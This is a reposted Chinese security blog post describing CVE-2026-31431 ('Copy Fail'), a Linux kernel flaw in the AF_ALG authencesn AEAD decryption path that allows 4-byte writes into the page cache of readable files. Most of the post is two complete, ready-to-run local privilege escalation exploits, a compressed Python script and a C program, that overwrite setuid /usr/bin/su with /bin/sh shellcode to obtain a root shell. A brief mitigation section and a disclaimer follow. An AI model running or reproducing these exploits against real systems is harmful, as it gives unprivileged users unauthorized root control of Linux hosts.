文章总结: 文档详细分析了Linux内核CVE-2026-31431漏洞,该漏洞源于authencesn加密模板与algifaead模块组合中AFALG套接字的AEAD解密路径存在边界写入缺陷,导致攻击者可通过篡改页缓存实现本地提权。关键发现包括漏洞无需竞争条件即可持久化覆盖setuid程序,并提供Python与C语言两种完整利用代码。可操作建议是及时修补内核以消除安全隐患。 综合评分: 91 文章分类: 漏洞分析,二进制安全,红队,内网渗透,应急响应
过年了过年了,CVE-2026-31431 Copy Fail 一键提权
Secu的矛与盾 Secu的矛与盾
Secu的矛与盾
2026年4月30日 11:20 湖南
在小说阅读器读本章
去阅读
漏洞详情:
在 Linux 内核的 authencesn 加密模板与 algif_aead 模块的组合实现中,由于 AF_ALG 套接字的 AEAD 解密路径在 2017 年引入了一个就地(in-place)操作优化(提交 72548b093ee3),将 splice() 传递过来的目标文件页缓存页面直接链入可写的输出散列表(scatterlist)。而 authencesn 算法在实现 IPsec 扩展序列号(ESN)支持时,为了重排认证数据中的序列号字节,会在解密过程中将接收缓冲区偏移 assoclen + cryptlen 位置作为临时存储空间写入 4 字节数据。当 AF_ALG 通过 recvmsg() 触发解密操作时,该写入会跨越接收缓冲区边界,直接覆盖链在后面的页缓存页面,从而实现对任意已打开的可读文件的页缓存进行受控的 4 字节篡改,最终导致本地低权限攻击者可通过篡改系统上任意可读文件(如 /usr/bin/su 等 setuid 程序)的页缓存内容,无需竞争条件或重试即可直接获得 root 权限,且该写入不会触发磁盘脏页回写,可实现持久化提权等危害
py:
#!/usr/bin/env python3import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")
C版:
gcc -O2 -Wall -o copyfail exploit.c
#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <errno.h>#include <sys/socket.h>#include <sys/stat.h>#include <elf.h>#include <linux/if_alg.h>
#ifndef AF_ALG#define AF_ALG 38#endif#ifndef SOL_ALG#define SOL_ALG 279#endif#ifndef ALG_SET_KEY#define ALG_SET_KEY 1#endif#ifndef ALG_SET_AEAD_AUTHSIZE#define ALG_SET_AEAD_AUTHSIZE 5#endif#ifndef ALG_SET_IV#define ALG_SET_IV 2#endif#ifndef ALG_SET_OP#define ALG_SET_OP 3#endif#ifndef ALG_SET_AEAD_ASSOCLEN#define ALG_SET_AEAD_ASSOCLEN 4#endif
#define AUTHSIZE 4 #define IVSIZE 16 #define BLOCKSIZE 16 #define ASSOCLEN 8 #define SPLICE_CT BLOCKSIZE#define SPLICE_LEN (AUTHSIZE + SPLICE_CT)
static const unsigned char shellcode[] = { 0x48, 0x31, 0xff, 0xb8, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x57, 0x48, 0x89, 0xe7, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, };
static uint64_t elf_entry_file_offset(int fd) { Elf64_Ehdr ehdr; Elf64_Phdr phdr;
pread(fd, &ehdr, sizeof(ehdr), 0); if (memcmp(ehdr.e_ident, ELFMAG, SELFMAG) != 0) { fprintf(stderr, "[-] Not an ELF file\n"); exit(1); } if (ehdr.e_ident[EI_CLASS] != ELFCLASS64) { fprintf(stderr, "[-] Not a 64-bit ELF\n"); exit(1); }
uint64_t entry_vaddr = ehdr.e_entry; for (int i = 0; i < ehdr.e_phnum; i++) { pread(fd, &phdr, sizeof(phdr), ehdr.e_phoff + i * ehdr.e_phentsize); if (phdr.p_type != PT_LOAD) continue; if (entry_vaddr >= phdr.p_vaddr && entry_vaddr < phdr.p_vaddr + phdr.p_memsz) { return entry_vaddr - phdr.p_vaddr + phdr.p_offset; } }
fprintf(stderr, "[-] Could not resolve entry point to file offset\n"); exit(1);}
static int setup_alg_socket(void) { int alg_fd, req_fd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "aead", .salg_name = "authencesn(hmac(sha256),cbc(aes))", };
alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (alg_fd < 0) { perror("[-] socket(AF_ALG)"); fprintf(stderr, " Hint: AF_ALG may be disabled. Try: modprobe algif_aead\n"); exit(1); }
if (bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("[-] bind(authencesn)"); exit(1); }
unsigned char key[] = { 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, };
if (setsockopt(alg_fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) { perror("[-] setsockopt(KEY)"); exit(1); }
if (setsockopt(alg_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, AUTHSIZE) < 0) { perror("[-] setsockopt(AUTHSIZE)"); exit(1); }
req_fd = accept(alg_fd, NULL, NULL); if (req_fd < 0) { perror("[-] accept()"); exit(1); }
close(alg_fd); return req_fd;}static int page_cache_write4(int req_fd, int target_fd, uint64_t where, uint32_t what) { int pipefd[2]; unsigned char aad[ASSOCLEN]; unsigned char iv[IVSIZE]; unsigned char rxbuf[65536]; ssize_t ret;
if (pipe(pipefd) < 0) { perror("[-] pipe"); return -1; }
memset(aad, 0x41, 4); memcpy(aad + 4, &what, 4);
memset(iv, 0, IVSIZE);
struct msghdr msg = {}; struct iovec iov = { .iov_base = aad, .iov_len = ASSOCLEN };
char cbuf[CMSG_SPACE(4) + CMSG_SPACE(4 + IVSIZE) + CMSG_SPACE(4)]; memset(cbuf, 0, sizeof(cbuf));
msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf); msg.msg_flags = 0;
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_OP; cmsg->cmsg_len = CMSG_LEN(4); *(uint32_t *)CMSG_DATA(cmsg) = 0;
cmsg = CMSG_NXTHDR(&msg, cmsg); cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_IV; cmsg->cmsg_len = CMSG_LEN(4 + IVSIZE); struct af_alg_iv *alg_iv = (void *)CMSG_DATA(cmsg); alg_iv->ivlen = IVSIZE; memset(alg_iv->iv, 0, IVSIZE);
cmsg = CMSG_NXTHDR(&msg, cmsg); cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN; cmsg->cmsg_len = CMSG_LEN(4); *(uint32_t *)CMSG_DATA(cmsg) = ASSOCLEN;
ret = sendmsg(req_fd, &msg, MSG_MORE); if (ret < 0) { perror("[-] sendmsg(AAD)"); close(pipefd[0]); close(pipefd[1]); return -1; }
size_t splice_len = where + 4; loff_t splice_off = 0;
ret = splice(target_fd, &splice_off, pipefd[1], NULL, splice_len, 0); if (ret != (ssize_t)splice_len) { perror("[-] splice(file→pipe)"); close(pipefd[0]); close(pipefd[1]); return -1; }
ret = splice(pipefd[0], NULL, req_fd, NULL, splice_len, 0); if (ret != (ssize_t)splice_len) { perror("[-] splice(pipe→alg)"); close(pipefd[0]); close(pipefd[1]); return -1; }
close(pipefd[0]); close(pipefd[1]);
ret = recv(req_fd, rxbuf, ASSOCLEN + where, 0); return 0;}
int main(int argc, char **argv) { const char *target = "/usr/bin/su"; if (argc > 1) target = argv[1];
printf("[*] CVE-2026-31431 Copy Fail - Local Privilege Escalation\n"); printf("[*] Target: %s\n", target);
struct stat st; if (stat(target, &st) < 0) { perror("[-] stat(target)"); return 1; } if (!(st.st_mode & S_ISUID) || st.st_uid != 0) { fprintf(stderr, "[-] %s is not setuid root\n", target); return 1; } int target_fd = open(target, O_RDONLY); if (target_fd < 0) { perror("[-] open(target)"); return 1; }
char dummy[4096]; while (read(target_fd, dummy, sizeof(dummy)) > 0); lseek(target_fd, 0, SEEK_SET);
uint64_t entry_offset = elf_entry_file_offset(target_fd); printf("[*] Entry point file offset: 0x%lx\n", (unsigned long)entry_offset);
if (entry_offset < 16) { fprintf(stderr, "[-] Entry point too close to file start\n"); return 1; }
int req_fd = setup_alg_socket(); printf("[+] AF_ALG socket ready (authencesn + hmac-sha256 + cbc-aes)\n");
size_t sc_len = sizeof(shellcode); size_t sc_padded = (sc_len + 3) & ~3; unsigned char sc_buf[256]; memset(sc_buf, 0x90, sizeof(sc_buf)); memcpy(sc_buf, shellcode, sc_len);
printf("[*] Injecting %zu bytes of shellcode (%zu writes)\n", sc_len, sc_padded / 4);
for (size_t i = 0; i < sc_padded; i += 4) { uint32_t chunk; memcpy(&chunk, sc_buf + i, 4);
close(req_fd); req_fd = setup_alg_socket();
int rc = page_cache_write4(req_fd, target_fd, entry_offset + i, chunk); if (rc < 0) { fprintf(stderr, "[-] Write failed at offset 0x%lx\n", (unsigned long)(entry_offset + i)); return 1; } printf("[+] Wrote 4 bytes at offset 0x%lx (chunk %zu/%zu)\n", (unsigned long)(entry_offset + i), i / 4 + 1, sc_padded / 4); }
close(req_fd); close(target_fd);
printf("[+] Page cache corrupted. Executing %s...\n", target); printf("[*] You should get a root shell:\n\n");
execl(target, target, NULL); perror("[-] execl"); return 1;}
修复建议
- 官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,升级至安全版本
https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
- 针对 Ubuntu、Red Hat Enterprise Linux 等用户,官方暂未发布安全更新,请及时关注官方安全公告
https://ubuntu.com/security/CVE-2026-31431
https://access.redhat.com/security/cve/cve-2026-31431
- 缓解措施:
禁止模块加载
echo “blacklist algif_aead”|sudo tee /etc/modprobe.d/blacklist-algif_aead.conf
卸载已加载模块
rmmod algif_aead 2>/dev/null || true
验证
lsmod | grep algif_aead
4. 容器环境加固
通过 seccomp 禁止 AF_ALG socket 创建(family=38):
“syscalls”: [{ “names”: [“socket”], “action”: “SCMP_ACT_ERRNO”, “args”: [{“index”: 0, “value”: 38, “op”: “SCMP_CMP_EQ”}]}]
【备注】:建议您在升级前做好数据备份工作,避免出现意外
参考:https://cloud.tencent.com.cn/announce/detail/2277
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Secu的矛与盾 Secu的矛与盾 Secu的矛与盾《过年了过年了,CVE-2026-31431 Copy Fail 一键提权》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论